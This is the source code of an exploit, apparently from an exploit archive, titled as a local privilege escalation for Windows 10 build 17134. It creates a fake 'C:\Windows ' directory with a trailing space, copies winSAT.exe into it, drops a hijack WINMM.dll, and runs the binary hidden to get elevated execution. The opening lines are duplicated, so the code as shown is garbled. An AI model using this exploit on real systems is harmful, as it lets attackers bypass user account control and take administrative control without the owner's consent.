Microsoft Windows 10 Build 17134 Local Privilege Escalation

#include "stdafx.h"
#include <Windows.h>
#include "resource.h"

void DropResource(const wchar_t* rsrcName, const wchar_t* filePath) {
#include "stdafx.h"
#include <Windows.h>
#include "resource.h"

void DropResource(const wchar_t* rsrcName, const wchar_t* filePath) {
HMODULE hMod = GetModuleHandle(NULL);
HRSRC res = FindResource(hMod, MAKEINTRESOURCE(IDR_DATA1), rsrcName);
DWORD dllSize = SizeofResource(hMod, res);
void* dllBuff = LoadResource(hMod, res);
HANDLE hDll = CreateFile(filePath, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, NULL);
DWORD sizeOut;
WriteFile(hDll, dllBuff, dllSize, &sizeOut, NULL);
CloseHandle(hDll);
}

int main()
{
_SHELLEXECUTEINFOW se = {};
//Create Mock SystemRoot Directory
CreateDirectoryW(L"\\?\C:\Windows \", 0);
CreateDirectoryW(L"\\?\C:\Windows \System32", 0);
CopyFileW(L"C:\Windows\System32\winSAT.exe", L"\\?\C:\Windows \System32\winSAT.exe", false);

//Drop our dll for hijack
DropResource(L"DATA", L"\\?\C:\Windows \System32\WINMM.dll");

//Execute our winSAT.exe copy from fake trusted directory
se.cbSize = sizeof(_SHELLEXECUTEINFOW);
se.lpFile = L"C:\Windows \System32\winSAT.exe";
se.lpParameters = L"formal";
se.nShow = SW_HIDE;
se.hwnd = NULL;
se.lpDirectory = NULL;
ShellExecuteEx(&se);

return 0;
}